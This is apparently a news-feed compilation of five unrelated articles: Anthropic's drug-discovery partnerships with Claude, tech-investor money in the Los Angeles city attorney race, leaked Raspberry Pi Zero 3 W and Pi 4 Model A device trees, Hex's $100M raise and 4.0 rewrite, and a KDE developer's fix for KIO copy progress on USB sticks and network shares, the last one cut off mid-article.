Anthropic’s life sciences team is working to accelerate curing disease. Over the past several months, our scientists have engaged in deep research partnerships with six organizations developing new medicines: BigHat Biosciences , Bristol Myers Squibb , Divergence Labs , Enveda , Generate Biomedicines , and The Column Group . We've also begun drug discovery efforts of our own. In doing so, we've learned a lot about how Claude can support drug development, and how we’ll need to improve Claude further to realize AI's potential in medicine. We plan to scale this work up substantially from here .

There are many opportunities to speed up drug development, even beyond the most commonly discussed applications of AI, like proposing initial designs for new molecules. Developing a drug involves many varied tasks: doing early research to identify a target for a drug and the right type of drug to engage it, designing a molecule with the right properties, optimizing it to be manufactured reliably at scale, drafting the regulatory filings needed to run clinical trials, designing and administering those trials, and much more.

Our strategy to realize AI’s medical benefits is based on having AI increasingly involved in all of these tasks. There is no single problem to solve; the bottlenecks are distributed all throughout the drug development process. The best way to identify and work through these bottlenecks is to get deeply involved in real drug programs, across many different disease areas and stages of development.

So, over the past several months, we’ve partnered with six organizations to do so. We’ve also started drug discovery efforts of our own, including programs for rare childhood forms of muscular dystrophy, where Claude handles much of the scientific and operational work.

This work serves our goals in three ways. First, it lets us better understand the strengths and limitations of our models in relation to a much wider range of drug development tasks (we’ve already prioritized specific improvements to our models based on what we’ve learned so far). Second, these programs can serve as case studies for the wider life sciences community. If Claude is to significantly increase the rate of new cures, we need to work with many more biotechnology firms and integrate Claude more deeply into their development processes. Third, these projects should, if their positive trajectories continue, have direct impact themselves. We’re optimistic that some may result in effective new medicines for the diseases they target, including food allergies, rare childhood diseases, and several forms of cancer.

In this post, we provide an update on our progress with our partners, along with technical reports and preprints that describe our thought process, methods, and early results in more detail. We then briefly outline where our work is headed next.

Case studies

Generate Biomedicines: modality engineering. Generate Biomedicines has been working on increasing the usefulness of a cancer treatment known as CAR T-cell therapy. This therapy has historically helped treat blood cell cancers; Generate aims to reengineer it so that it can treat solid tumor cancers too. To do this, they’re aiming to shorten one part of the therapy’s genetic instructions, which would create room for additional instructions suited to other kinds of cancer. Six Generate scientists used Claude Code to propose new designs for this part. One design was about 70% shorter than the standard version, and in lab tests it was more effective: it allowed immune cells to make roughly 10 times as many receptors (the proteins they use to spot cancer cells), it killed tumor cells more efficiently, and the immune cells remained active for longer. Read more , and see Generate’s technical report .

Divergence Labs: hit generation. Divergence Labs is working on a novel way to treat food allergies. Food allergies are set off by a reaction from a molecule called IgE, some of which is attached to our immune cells and some of which floats freely in our blood. Divergence Labs is developing drugs that would detach the IgE from our immune cells entirely, rather than solely neutralizing the IgE circulating in our blood, as standard medications do. This could provide a much more effective treatment, but it requires a precise design, with two “arms”: one that would bind tightly to IgE, and another that would help prise IgE from the immune cell. Claude converted Divergence Labs’ goals into a detailed design plan, and then, largely autonomously, generated roughly 35,000 antibody designs in about a month to be narrowed down and tested. In those early tests, Divergence found “hits” for both arms: three designs that could bind to IgE, and 20 that could dislodge it. Three of those 20 appeared to dislodge IgE more than the standard medication. Its next step is to build a drug that combines the two arms. Read more , and see Divergence’s technical report .

BigHat Biosciences: lead optimization. BigHat Biosciences pairs AI with an automated lab to improve potential drugs (or “leads”), which must bind their target tightly, remain stable through manufacturing and storage, and avoid clumping together (among other criteria). BigHat’s scientists and an Anthropic researcher worked with Claude to improve these three properties in two leads, both antibody fragments that could become parts of future drugs: one designed to target cancer cells, and one designed to keep a drug in the body longer. Claude, connected to BigHat’s lab data system, Reccy, proposed changes to each molecule, and BigHat’s lab made and tested about 1,010 variants in about 10 weeks. Partway through, the team suspected the standard heat-stability and clumping metrics were misleading. Claude and the researcher reanalyzed the raw data, then proposed different metrics and a protocol change to test them. BigHat’s scientists refined and ran it, and the main predictions held. Compared with the originals, the best versions bound more than 10x more tightly, the cancer-targeting lead stayed in solution 18°C higher, and the lead for longer-lasting drugs clumped more than 100x more slowly. Read more , and see BigHat’s technical report .

Enveda: manufacturing and filings. To conduct clinical trials, companies need records showing that each batch of a new drug has been made to strict quality standards, and to submit an application to regulators, among other requirements. At Enveda, manufacturing chemists spent up to 75% of their time on paperwork. To ease the load, Enveda built a system that connects all of its manufacturing documents to Claude, then lets Claude flag any possible issues. Over tests on 1,061 pages of documentation, Claude caught all 11 issues that human reviewers had spotted—and flagged seven they’d missed. In the process, this method reduced human review time by 89%, from over 25 hours to less than three. Separately, Claude wrote the first drafts of two important regulatory documents. One took four hours, compared to about three months by hand. For the other, Enveda’s standard human review process found one minor error. Read more , and see Enveda’s technical report .

The Column Group (TCG): company creation. Because drug discovery can be slow, expensive, and prone to failure, investors in biotechnology companies have favored safer, previously validated ideas over riskier new ones, even when the latter could help more patients. We’ve been working with TCG to see whether Claude can change this by cutting the time and cost of drug discovery so that investors can confidently support more ambitious ideas. Specifically, TCG is establishing Pleiades, a new company that will use Claude to run many more—and more complex—drug programs than is usual for a small team. This could be a model for how Claude can reduce both the scientific and the operational and administrative overhead required to run a biotechnology company. If this works, this model could be replicated across the industry and direct investment toward harder problems in medicine. Pleiades is currently developing new tools and workflows for Claude; its very first Claude skill, which helps Claude assess whether drug targets are worth pursuing, has been evaluated on 45 target-disease pairs. Read more .

More recently, we’ve also begun working with Bristol Myers Squibb (BMS) to find and address bottlenecks in clinical trial planning. BMS is using Claude to assess plans of an early-stage drug in clinical trials, and to estimate the likelihood of those trials succeeding. Together, we plan to expand this work in 2027 to understand its potential for increasing the probability of success in early development.

“We use Claude at the clinical trial stage to analyze proprietary data, create a clinical study plan, and weigh the study’s chance of success. From a single prompt, Claude generated a robust initial analysis that helped inform our assessment of different development options, which would otherwise take days to complete. We did all of this while ensuring the security of our highly sensitive data. We look forward to expanding this work across our pipeline to support portfolio-level decisions.”

Michael Pourdehnad, MD , Senior Vice President, Head of Early Clinical Development, Hematology, Oncology and Cell Therapy.

In addition to our work with these partners, we’ve begun to run some research programs ourselves. We’ve acquired Mithril Medicine, a one-person company that has been developing treatments for two rare forms of muscular dystrophy. Its founder, Cody Tranbarger, used Claude to organize contracts, logistics, and experiments with 11 external labs, and delegated many other aspects of Mithril’s operations to Claude. As a result, Mithril took a possible treatment for one form of muscular dystrophy from an idea to promising results in mice in less than 18 months. Now at Anthropic, Cody is continuing this research, and plans to start several new programs. If his drug candidates continue to hold up, we expect a drug to be ready to start clinical trials in humans as soon as late 2028. Read more and see our technical report .

Extending our work in the life sciences

All of this research is still at an early stage. In particular, so far it is mostly preclinical— that is, for the most part, it isn’t yet at the stage where the drugs are being tested in humans. We plan to continue extending Claude’s role into clinical trials as these drug programs advance, and as we partner with more organizations whose drug development programs are already at the clinical stage.

This research is only one part of our efforts to accelerate drug discovery. Ultimately, we want to share our models with as many drug development researchers as possible. To that end, we’ve rolled out Claude Science , our AI workbench for researchers, and we’re providing Claude credits for life scientists . We’ve also created the Life Sciences Verification Program to allow trusted organizations to use our most powerful models with more permissive versions of our safeguards, which are necessary to prevent misuse but which can impede legitimate biological research. We’ve also recently launched an open call for guest investigators in the life sciences; we’re seeking proposals from research groups who want to use Claude to investigate key questions in drug discovery and other areas.

We’re looking forward to working with many more organizations as we expand our life sciences research. If you work at an organization focused on drug discovery and are interested in collaborating with us, you can get in touch below.

The Elon Musk Funder Trying to Sway the Race for LA’s Top Lawyer

The leading candidate for LA city attorney has the backing of the local DSA and vows to regulate Big Tech. Tech investors are spending millions against her. The post The Elon Musk Funder Trying to Sway the Race for LA’s Top Lawyer appeared first on The Intercept....

Original Article

A DSA-backed California prosecutor who helped force Meta to pay a historic $17 billion settlement this year is on a glide path to become the top lawyer for Los Angeles — unless a tech investor cozy with Elon Musk can spend enough to stop her.

San Francisco resident John Hering has sunk more than $1.25 million into an effort to defeat Marissa Roy, a deputy attorney general at the California Department of Justice endorsed by the LA chapter of the Democratic Socialists of America, and to support John McKinney, a county prosecutor running an uphill general election campaign. It’s a heavy injection of cash from a single individual in a local race for a little-known office, but it pales in comparison to Hering’s private-sector spending: In 2022, his investment firm Vy Capital pumped $700 million into Musk’s takeover of the company then known as Twitter and $300 million into his tunnel-construction Boring Company.

A co-founder of the cybersecurity company Lookout, Hering is spending in line with the tech industry in which he’s long been invested. While the city attorney’s office is commonly used as the city’s defense against litigious residents, the office also carries the power to mold legislation, enforce state law, such as labor protections, and take on corporations and the federal government in court. Roy has vowed to wield the office’s regulatory muscle against corporations — including Big Tech.

“Monopolies and Big Tech are things that [Roy] sees as an opportunity to wage battle against,” said former LA City Councilmember Mike Bonin, who has not endorsed either candidate. “If I were Big Tech, I would certainly think, ‘OK, well, this is someone who is a potential threat.’”

Hering, who did not respond to The Intercept’s request for comment, is part of a group of tech titans backing McKinney. Others include the founders of Ring, Tinder, and Boingo, and investors in Anthropic , Anduril , and SpaceX , who have collectively put more than $1.9 million into pro-McKinney committees. A group called “Committee to Expand the Middle Class Candidate” — backed by the property rental tech giant Airbnb — donated an additional $4.2 million to a committee supporting McKinney.

To help get McKinney through the June primary election, Hering and fellow tech investor Diego Berdakin poured more than $1 million into another committee. Over the past month, Hering’s general-election spending group, Neighbors for John McKinney, has been paying for TV and online ads and mailers that play up McKinney as “a lifelong Democrat” and “100% anti-MAGA.”

The same can hardly be said for the group’s top funder.

After giving to Hillary Clinton’s failed 2016 presidential bid and Democratic candidates like Beto O’Rourke, Hering donated $41,300 to the Republican National Committee and $500,000 to Musk’s America PAC in 2024 to support Donald Trump’s run for president. He has publicly praised Musk’s chaotic purge of the federal government through his so-called Department of Government Efficiency program and called the world’s richest man an “ American hero ” for offering to pay TSA salaries during the spring government shutdown. In 2025, Hering and Ring founder Jamie Siminoff, who has also donated to Neighbors for John McKinney, attended a White House dinner where Trump hosted dozens of high-profile Silicon Valley figures. The pro-McKinney group is also funded by billionaires Rick Caruso, a failed LA mayoral candidate, and Ron Burkle, a Democratic megadonor.

Earlier this cycle, Hering, who listed San Francisco as his residence in campaign finance documents, also waded into the LA mayoral election — boosting right-wing reality star Spencer Pratt .

Tech industry spending in LA’s elections arrives amid a midterm cycle where Big Tech and artificial intelligence have doled out millions of dollars to exert influence in congressional and state races across the U.S. as lawmakers grapple with how to regulate the industries. Musk, for example, has dropped more than $442 million into the midterms, including more than $70 million in his political action committee, America PAC, in October alone. And in state Assembly and Senate races across California, tech and AI executives have spent more than $29 million, according to Tech Equity Action, a political nonprofit that lobbies to craft tech-related legislation while advocating for workers’ rights.

California Gov. Gavin Newsom gave big AI companies a scare last month, when he signed a slate of bills protecting workers from AI overreach, like limiting its use to terminate or discipline workers, banning employers from using AI to surveil employees in bathrooms, and assuring that human healthcare workers will have the final say on patient care decisions.

The tech industry had fought hard to kill the bills, and while Newsom did offer the industry some concessions, labor organizers say the new laws offer them an opportunity to expand local worker protections, too.

In LA, Roy has said she would use the city attorney’s office to fight for workers against losses in potential wages, promising that she would go after “large corporations and big tech companies” that “misclassify workers as independent contractors to avoid paying them minimum wage and providing benefits,” according to her campaign website. She also spoke against companies who are increasingly using automation “to evade regulations and eliminate jobs.”

Tech leaders may view a city attorney with an appetite for regulation as “existential to their business model,” said Brian Justie, a researcher at the UCLA Labor Center who was part of the coalition that pushed for the bills.

“What happens in California sets a precedent and serves as a blueprint for the rest of the country,” Justie said. “And so if you’re a Big Tech, you really need to have a certain outcome come to pass here to avoid ripple effects elsewhere.”

For his part, McKinney has blasted Roy for her desire to “turn the city attorney’s office into the country’s largest public interest law firm” as out of touch with what LA voters want. However, voters across the U.S. have increasingly expressed opposition to the expansion of artificial intelligence and the construction of data centers. Roy’s campaign has shown a willingness to lend an ear to growing AI anxieties.

“Billionaires don’t want to answer to the working people, consumers, and communities they exploit,” Roy said in a statement to The Intercept. “But as Los Angeles’ City Attorney, I intend to hold them, their corporations, and the MAGA Republicans that permit their behavior accountable — that’s why they’re spending on someone who won’t.”

McKinney did not respond to The Intercept’s request for comment.

Ads put out by Neighbors for John McKinney assert that McKinney would “take on crooked landlords.” The committee’s website said he would fight for tenant’s “legal protections” against things like “illegal eviction.” But among the committee’s biggest funders is the Santa Monica-based real estate firm, Douglas Emmett Properties, which attempted to carry out one of the largest mass evictions in LA history until it was overruled by a judge. Douglas Emmett donated $250,000 to Neighbors for John McKinney in late September.

Neighbors for John McKinney has also funded attack ads against Roy that paint her as an inexperienced attorney who is weak on crime and has “extreme DSA” positions. The ads cite an article by the conservative California Post, a West Coast spinoff of the New York tabloid, that claimed she had supported a freeze on prosecuting misdemeanors, which she denies.

McKinney campaigns in the mold of law-and-order candidates, pledging to address homelessness and public safety by prosecuting misdemeanors, touting closer relationships with police, and promising to revive a neighborhood prosecutor program. Other California tech-supported efforts have echoed the same — like when tech leaders in the San Francisco Bay Area fueled a successful effort to oust progressive District Attorney Chesa Boudin .

But the LA city attorney’s office holds limited criminal enforcement power, Bonin pointed out. He suspects the tech investment in the LA race is more concerned with potential civil litigation, and he thinks that if voters make that connection, it could spell an issue for the campaign.

“Voters are concerned about Big Tech, they’re certainly concerned about AI, they’re concerned about the influence of — I don’t think you can describe it any other way — 21st-century robber barons,” Bonin said. “Income inequality is a big issue in Los Angeles, so if they make the connection that this funding is symbolic of the agenda that McKinney will pursue … then it becomes more of an issue.”

Roxana Tynan, executive director of the Los Angeles Alliance for a New Economy, called the amount of Big Tech money being spent in the race “outrageous.” As she and other labor rights groups gear up for a fight for more worker AI protections in LA — like expanding safeguards to include temporary and gig workers, and banning employers from using AI software to collect sensitive worker information — she said she hoped people would follow the money being poured into the race and the influence that a few figures look to exert on the city.

“These are people who really believe that not only can they buy elections,” Tynan said, “but that they deserve to buy elections.”

Raspberry Pi Zero 3W and Pi 4 Model A spotted in device trees

Original Article

Two new Raspberry Pi boards have quietly turned up in Raspberry Pi’s Linux kernel tree, and neither of them is quite what I’d have guessed. Device tree files for a Raspberry Pi Zero 3 W and a Raspberry Pi 4 Model A have landed ( Phoronix spotted it first ), and whilst there’s no official announcement just yet, device tree files tend to give away a surprising amount if you can decipher them and I gave it my best shot.

Raspberry Pi Zero 3 W: A Pi 4 Shrunk Down?

The Raspberry Pi Zero 2 W launched almost exactly five years ago (tomorrow, in fact), so a successor has been a loooooong time coming. If you want a refresher on where things stood back then, my Raspberry Pi Zero 2 W vs Zero W benchmarks piece covers the jump from the original pretty well.

The headline from the Zero 3 W device tree is the SoC. It’s the Broadcom BCM2711 , the same quad-core Cortex-A72 chip that powers the Raspberry Pi 4 , replacing the Zero 2 W’s quad-core 1GHz Cortex-A53 RP3A0. If you want an idea of the sort of gap we’re talking about, it’s worth having a look at how those two compare on sbc.compare . That’s a big step up in per-core performance, and if they can get anything close to Pi 4 clocks in that tiny footprint, it’ll be a hell of a lot of compute for a Zero. I do wonder how toasty it’s going to get though, as the BCM2711 isn’t exactly known for running cool, and there’s not a lot of board for the heat to spread into. The device tree doesn’t tell us anything about clock speeds, so we’ll have to wait and see whether it’s been dialled back.

Beyond the SoC, here’s what else stood out to me:

eMMC on a Zero? The storage controller is configured with an 8-bit bus width and a comment describing it as driving “the eMMC/SD card”, which only really makes sense for eMMC. I’d love to see it, but I’m not expecting it to make the final board, as it’d push the price up on a range that lives and dies by its price tag. My money is on this being a leftover or an option kept open during development, and microSD being what we get.
An SPI flash bootloader. The GPIO names include SPI flash lines, which suggests the Zero 3 W gets the same EEPROM-based bootloader as the Pi 4 (the Zero 2 W never had one). That should bring the Pi 4’s boot options along with it, and the ability to update the bootloader in the usual way.
A single HDMI output , with the second HDMI controller permanently disabled. No surprise there given the form factor.
A power button defined on GPIO 46 and mapped to KEY_POWER, so we may be getting a physical button (or at least a header for one) much like the Pi 5.
Wi-Fi and Bluetooth wired up in the same way as the rest of the BCM2711 family, with a single ACT LED for status.
The usual 40-pin GPIO layout (GPIO 0-27 with the ID EEPROM pins), so your existing HATs should be fine.

There are a couple of more speculative bits too. The PCIe controller is enabled and there are lines named PCIE_PWR_EN and PCIE_DET_WAKE, and the camera side pulls in a 4-lane CSI configuration rather than the 2-lane one the Pi 4 Model B uses. It’s worth noting that both device trees share a lot of copy-and-paste DNA (the Zero 3 W even has a duplicated “PWR_GPIO” line name), so I wouldn’t read too much into either of those until we see an actual board. I’d love to see PCIe exposed on a Zero, but I’m not holding my breath.

Raspberry Pi 4 Model A: The Return of the A

The second surprise is a Raspberry Pi 4 Model A . We haven’t had a Model A since the Raspberry Pi 3 Model A+ back in 2018, and the formula has always been the same: take the Model B, strip out the bits most people can live without (RJ45, some USB ports etc), and knock a chunk off the price. The Pi 4 Model A looks to follow that recipe pretty closely, though the price comment may not quite hold. Let’s see!

No Ethernet. The Ethernet controller isn’t enabled anywhere, and the GPIO lines that drive the Ethernet PHY on the Model B have been repurposed. Very much in keeping with previous Model A boards.
A single HDMI output rather than the Model B’s dual micro HDMI.
No 3.5mm audio/composite jack. The analogue audio pins are empty and the composite video encoder is disabled, so audio will be over HDMI (or USB/I2S if you’re that way inclined).
microSD only , with the same 1.8V signalling support as the Model B for the faster UHS card modes.
External antenna support. This is the one I find most interesting. There are two antenna control lines (ANT_CTRL1 and ANT_CTRL2) and overlay parameters named ant1 , ant2 and noant , which is exactly how the Compute Module 4 switches between its onboard antenna and an external U.FL connector. If that carries over to the final board, it’d be a lovely addition for anyone sticking a Pi in a metal enclosure.
PWR and ACT LEDs , the same SPI flash bootloader setup as the Model B, and the same power button definition as the Zero 3 W.

The device tree doesn’t tell us anything about USB. On the Model B, the USB 3 ports made use of the PCIe bus, and the PCIe controller is enabled here too, so USB 3 is possible, but the 3 Model A+ only had a single USB-A port and I’d probably expect the same here.

The previous Model A, the Raspberry Pi 3 Model A from 2017

How Do They Compare?

Here’s a quick side-by-side of what the device trees tell us, with the Pi 4 Model B thrown in for good measure. Anything marked with an asterisk is my interpretation of the device tree rather than something it states outright.

	Raspberry Pi Zero 3 W	Raspberry Pi 4 Model A	Raspberry Pi 4 Model B
SoC	Broadcom BCM2711	Broadcom BCM2711	Broadcom BCM2711
CPU	Quad-core Cortex-A72	Quad-core Cortex-A72	Quad-core Cortex-A72
HDMI	1x	1x	2x micro HDMI
Ethernet	No	No	Gigabit
Wi-Fi/Bluetooth	Yes	Yes, with antenna switching*	Yes
Storage	microSD (unless..)	microSD	microSD
Analogue Audio/Composite	No	No	Yes (3.5mm)
SPI Flash Bootloader	Yes*	Yes*	Yes
Power Button	Yes*	Yes*	No
LEDs	ACT	PWR, ACT	PWR, ACT

What We Don’t Know (Yet)

Quite a lot, I’m afraid. Device trees don’t describe RAM, so there’s no word on memory configurations, and there’s nothing on pricing, clock speeds, connector types or a release date either.

Pricing is the big one for me. Memory costs haven’t exactly been kind lately (I covered the last round of increases alongside the 1GB Raspberry Pi 5 launch ), and a lower-cost Pi 4 variant makes a lot of sense in that context. The BCM2711 is a mature chip at this point, it’s well supported in software, and a cut-down board gives people who don’t need a Pi 5 something cheaper to reach for. The Zero 3 W is a tougher one to call though, as the Zero range has always lived and died by its price, and I can’t imagine the BCM2711 being as cheap to build around as the RP3A0.

Thoughts

On the whole, I like what I’m seeing here. The Zero 3 W looks like the upgrade a lot of people have been asking for since the Zero 2 W landed, and the 4 Model A feels like a sensible way of squeezing more life out of the Pi 4 platform at a time when components aren’t getting any cheaper. The external antenna support on the 4 Model A is a really nice touch if it makes it to the final board.

Saying that, everything above comes from device tree files rather than an official spec sheet, so mileage may vary when the real thing turns up. Kernel support landing ahead of launch is usually a good sign that it’s not far off, and you can bet I’ll be throwing both the Zero 3 W and the 4 Model A onto sbc.compare as soon as I can get one in my hands.

Which of the two are you more excited about? Do let me know in the comments!

Hex Raises $100M

Hacker News

Original Article

A few months ago, after we had just closed our best-ever quarter, we decided to do something bold: start from scratch on a clean-sheet version of Hex, the product we had been building for 6 years and used by over 2,500 customers globally.

This was a radical thing to do — but after 4 years on the frontier of bringing AI to data, we knew it was the right one. Today we’re introducing that new version — and announcing a fundraising to bring it to the world.

Let me tell you why, and where we see all of this going.

“What would we build if we were starting from scratch?”… and then doing it

This was the question we asked ourselves earlier this year. See, we were founded in 2019, making us a pre-AI company (ew!).

Now, I also think we had done an amazing job bringing AI into our product over those years! We had a text-to-SQL prototype using GPT-3 before ChatGPT. We launched our Magic features in February 2023. We launched the first really good data agent last year, and earlier this year we changed the game again with generative apps . I'm proud of all of this.

But fundamentally, we were trying to integrate AI into a product that already existed. Our data model, architecture, and core assumptions around what users were doing in our product were all baked in 2020 to 2021 — we were far from “agent native”, no matter how much we liked saying it. ¹

And this was leading to some major issues: our agent harness was becoming bloated with hundreds of tools, which were required to teach agents about how to use Hex-something emphatically out of distribution. Our compatibility with external agents, because those products were having to use Hex through a keyhole via MCP versus being able to work with something more native. And our compute engine wasn’t built to support the high-speed, high-concurrency, iterative workflows agents seem to like.

In parallel with these issues, we were seeing data work is happening in a lot of other places : folks are using Cursor, Codex, Cognition, Claude, and custom agents — which in turns was causing a lot of issues! People are "vibe coding" dashboards and reports way more than they're using their legacy BI tools and emailing around HTML files without provenance, context, or permissions. It’s a mess — but the previous version of Hex couldn’t solve this in the way we wanted.

Altogether, this added to a growing sense that – despite growing quickly and having a lot of happy customers – we were headed for a point of diminishing returns.

As we got together and talked about this, we had an idea of what we actually would do if we were starting from scratch today: a platform rooted in code — with all of its infinite flexibility and agent nativity — and embrace that data work can happen a lot of places, but that it needs context, controls, guidance, and guardrails to make it trusted.

And so that’s what we built.

Introducing Hex 4.0

Hex 4.0 is truly a from-scratch rewrite for the era of agents (and, of course, was greatly accelerated by using agents to write all of the code, guided by the decades of combined expertise from our teams in building scaled data platforms).

The core assumption of 4.0 is that everything is code — and that teams need context, controls, and compounding to make it trusted and scalable. It leans into the idea that data work is happening in a lot of places, and that "plain code" (not a proprietary YAML format) is the way to make that make sense.

We have a big, long blog post detailing all of this here , I recommend you read it! Maybe a couple of times, because it's interesting, and we suspect you’re going to be hearing from a lot of other companies who are going to realize that they need to think from first principles too.

And this is just the foundation for a lot of other things we have in mind; in fact, one of the reasons we went so hard on this is because there are things we want to build we couldn't imagine doing on the old architecture — but are trivial on the new one.

We can't wait to show you!

Some money stuff: we raised another $100m

As this all came into focus, we realized more money would help us go faster – to scale our team, expand go-to-market, and continue to make great swag. The only problem was that in the first part of the year, investors thought all software was going to die and there would only be two companies left. ²

Shailendra and the team at Peak XV, however, didn't think that: in fact, they were pretty sure that model-independent platforms were going to have a bright future ahead. And they were not scared about us taking a bold first-principles approach to go build it.

So I’m excited to announce that we’ve closed a $100 million financing round at a $1.2B valuation led by PeakXV and our 137 Ventures, with participation from Amplify, Avra, a16z, Redpoint, Sequoia, and Zero Prime.

This gives us a bunch more runway to keep building this thing, and take more bold bets into the future.

The end of BI, the beginning of something new

I'm throwing some serious shade at the "SaaS apocalypse"-pilled investors above, but I'll give them some credit: I think it is true that a lot of software categories will effectively die over the next couple of years. But I also believe many will combine and be reborn into new shapes.

This is our basic outlook on BI: the old paradigm is over, and no amount of bolting a chatbot sidebar onto the legacy platforms is going to change that. But there are also fantastic new opportunities opening up!

We believe the next chapter is rooted in code, with the context and controls needed to establish trust, governance, and guardrails.

The basic promise of BI is finally here: everyone can ask questions! Everyone can build! But now it's chaotic, and all the trust is gone. We see this as the core trade-off to break, and we're kind of obsessed with it.

¹ I'm not going to call out anyone by name, but I do think it's funny how many companies in our space that have been around for 8 years or more now call themselves "AI native", despite that literally being the antithesis of that phrase. I mean, I get why they're doing it, but unless you have literally rebuilt your product in the last 24 months, I'm not sure you can credibly claim it...

² I'm joking, but not really? You should have sat in some of the pitch meetings we had…

Fixing KIO copy to USB stick and network filesystems

Lobsters

Original Article

I am going to tell the story of fixing a very high priority bug that was 15 years old. Arguably the worst KIO bug.

In September 2011, against KDE 4.7, someone opened bug 281270 : "When copying files to a removable disk, speed and progress reflect copying to the local cache not to the disk itself". The report notes the copy notification showed about 50 MB/s to a USB 1.1 device, which cannot go faster than 12 Mbit/s. The reporter had asked a kernel developer, Alan Stern, what was going on, and summed up his answer:

it shows that the copying operation is finished when it has not even been started.

Seventy-seven comments and 17 duplicates later, that is still how a copy to a USB stick behaves in the current release of KIO. My last post about copying was about making KIO copy faster. This one is about the opposite case, a destination that is slower than KIO, and about making the progress bar and copy completion accurate.

The changes are in four KIO merge requests: MR 2506 finds out which devices are removable, MR 2517 and MR 2518 flush the device at the end of a copy or a move, and MR 2283 adds the writeback window. All of it is merged, and will be in KDE Frameworks 6.32, released November 13th 2026 .

We will see the cause of the bug, its history, and what it took to fix it.

Why a copy finishes before it has started

The file worker copies a file by handing its data to write() . write() returns as soon as the data is in the page cache, in memory. The kernel writes it to the device later, when it decides to. On a local SSD, later means very soon, and you never notice. On a USB 2.0 stick that writes at 2.3 MB/s, it is another story. Here is a 128 MiB file:

A 128 MiB copy to a USB 2.0 stick before the change: the copy reports complete after 0.06 to 0.13 s, and the data is on the stick after 68 to 91 s, over four runs.

For more than a minute, Dolphin considers the copy finished while the stick is still writing. The progress bar was showing how fast KIO filled memory. Pull the stick out during that minute, and your data is gone.

Network filesystems have a different symptom from the same cause. A large copy to an NFS or SMB share leaves hundreds of MiB in memory to send to the server, and the progress runs far ahead of it. On SMB it is worse than a wrong number: with the default cache=strict , looking at a file waits until its dirty data is written. Listing the folder you are copying into looks at that file. Over a 5 MB/s link, almost every listing during a 1 GiB copy waited 15 to 20 seconds.

Fifteen years in one bug report

The right tool actually showed up very early. Two days after the report, Christoph Feck asked whether there was a way to learn when the data is really on the disk "without causing massive slow downs that any sync type calls would cause". Two weeks later, the reporter passed on Alan Stern's answer, sync_file_range() , and Christoph replied that it looked like "exactly what we need". That was September 2011, and it is the call KIO now uses.

Then not much happened for years, apart from users confirming it and seventeen duplicates. In 2021, Nate Graham raised it to the highest priority, because a move deletes the source files while the copies are still in memory. In 2022, he changed the Disks & Devices applet, so that ejecting a device explains that it is still writing. In 2024, Christoph tested the cachestat() call of Linux 6.5, which reports how much of a file is still dirty in memory, but only for one file at a time.

This bug has been my white whale. I have been contributing to KIO since 2018, and I am still learning how the Linux storage stack behaves underneath it. I tried twice in 2024 and did not get sync_file_range() right. In MR 1718 , the sync_file_range() path stayed commented out. In KIO MR 1764 and Dolphin MR 862 , the worker waited for the writeback of the chunk it had just written, which had not started, so it never waited at all. Waiting for the window before the one just written is what makes it work. I didn't spot the issue, nor any reviewer unfortunately.

Since then, another contributor proposed turning off the cache for copies, in MR 2162 , which was closed.

Why it took so long

Making the copy correct is the easy part: call fsync() after every file, or open the destination with O_DIRECT and skip the cache. Both make copies several times slower, and they would slow down the fast local disks too, where nothing was wrong. Making it correct without making it slow is what took fifteen years, and it needed several things that were not there before.

A way to wait for part of a file. POSIX only offers fsync() , which waits for everything. sync_file_range() is Linux only, and its own manual calls it "extremely dangerous": it does not write the file's metadata, so on its own it guarantees nothing after a crash. It can bound how much is in memory, but the end of the copy still needs a real flush.
Knowing which destinations need it, without asking them. The filesystem type does not show whether a device can be unplugged, and asking a network filesystem anything is a round trip to a server that may be slow. KIO reads the answer from the mount table and from sysfs instead, and two earlier changes to KMountPoint made that cheap enough to do for every copied file:
- MR 2326 , in KIO 6.30, caches mounts by the mount id that statx() returns since Linux 6.8, instead of parsing /proc/self/mountinfo on every lookup. A lookup by id became about 700 times faster.
- MR 2487 , in KIO 6.32, reads a missing mount with statmount() , which does not walk any path, so a network server that does not answer no longer blocks the lookup. In that case, the lookup went from more than 15 seconds to about 1 ms.
A place to flush at the end of a copy. The file worker copies one file per command, in its own process, and never knows which file is the last one. Only the CopyJob , in the application, knows when the whole copy is over. So the flush needed a new worker command, and a way for the worker to notify the job that a flush is needed. On the way, I found that FileCopyJob dropped the metadata that the worker sent with a copy, so the CopyJob could never have seen it.
A window size that fits every destination. A window too small slows a fast link, and a window too large never fills on a slow one. That is why it now adapts, and why the progress has to stay monotonic when the window shrinks.

A writeback window

Waiting for the device after every write would be correct but very slow. Waiting only at the end leaves the progress wrong for the whole copy. KIO now does something in between, with sync_file_range() , which lets a program start the writeback of part of a file and wait for it.

The data is written in windows. When a window is full, the worker hands it to a helper thread, which writes it back and waits for it, while the copy fills the next window. The copy only waits when the window before the one it hands over is not written yet. So at most two windows of the copy are ever in memory and not on the device, and the progress bar is never more than one window ahead of what is really written.

The helper thread was needed to accommodate CIFS, the kernel client for Samba and Windows shares. On CIFS, the call that starts the writeback of a window does more than start it: it sends the data to the server, and waits for the server to grant the credits to do so, blocking the calling thread for about 157 ms per 128 MiB window. So the copy could not fill the next window while the previous one was sent. With the helper thread making that call, sending a window and filling the next one overlap.

A window holds about 200 ms of writeback, at the speed measured on the window before. It starts at 1 MiB, can at most double from one window to the next, and stays below 16 MiB, or 128 MiB on CIFS. On a fast link the windows grow, so the copy keeps its speed. On a slow link they stay at about 1 MiB, and anything that has to wait for the file waits a fraction of a second, not for the whole file.

Complete means on the device

A window bounds how much is left in memory, but there is still something left at the end. For a removable device, KIO now also makes the end of the copy wait for it.

A file larger than the largest window, 16 MiB, is flushed with fsync() , and then its folder, before the copy reports it done. By then the window has already written all but the last two windows, so the flush is short.

Small files are the hard part. The obvious fix, an fsync() for every file, made 3000 files of 16 KiB take 10 seconds instead of 0.04 seconds on a local disk. So the worker flushes no small file by itself. After a copy to a removable device, it notifies the job, and the CopyJob sends it one more command before reporting success: write back the whole filesystem of the destination, with one syncfs() . While that runs, the copy notification shows "Writing the copied data to the device...". If the flush fails, the copy fails, because the data may not be on the device.

A move needed more than that. Before, KIO deleted each source file right after its copy, while the copy could still be only in memory, which is why the bug got its highest priority. Now a move to a removable device keeps its sources until the flush has succeeded, and deletes them after it. If the flush fails, or the stick is unplugged during it, every source stays. A source that changed while it waited for the flush stays too, with a warning. A copy or a move that stops on an error, or that you cancel, still flushes the device, and a move then deletes only the sources of the files that are on it.

Here is the same USB stick again, with the small files added:

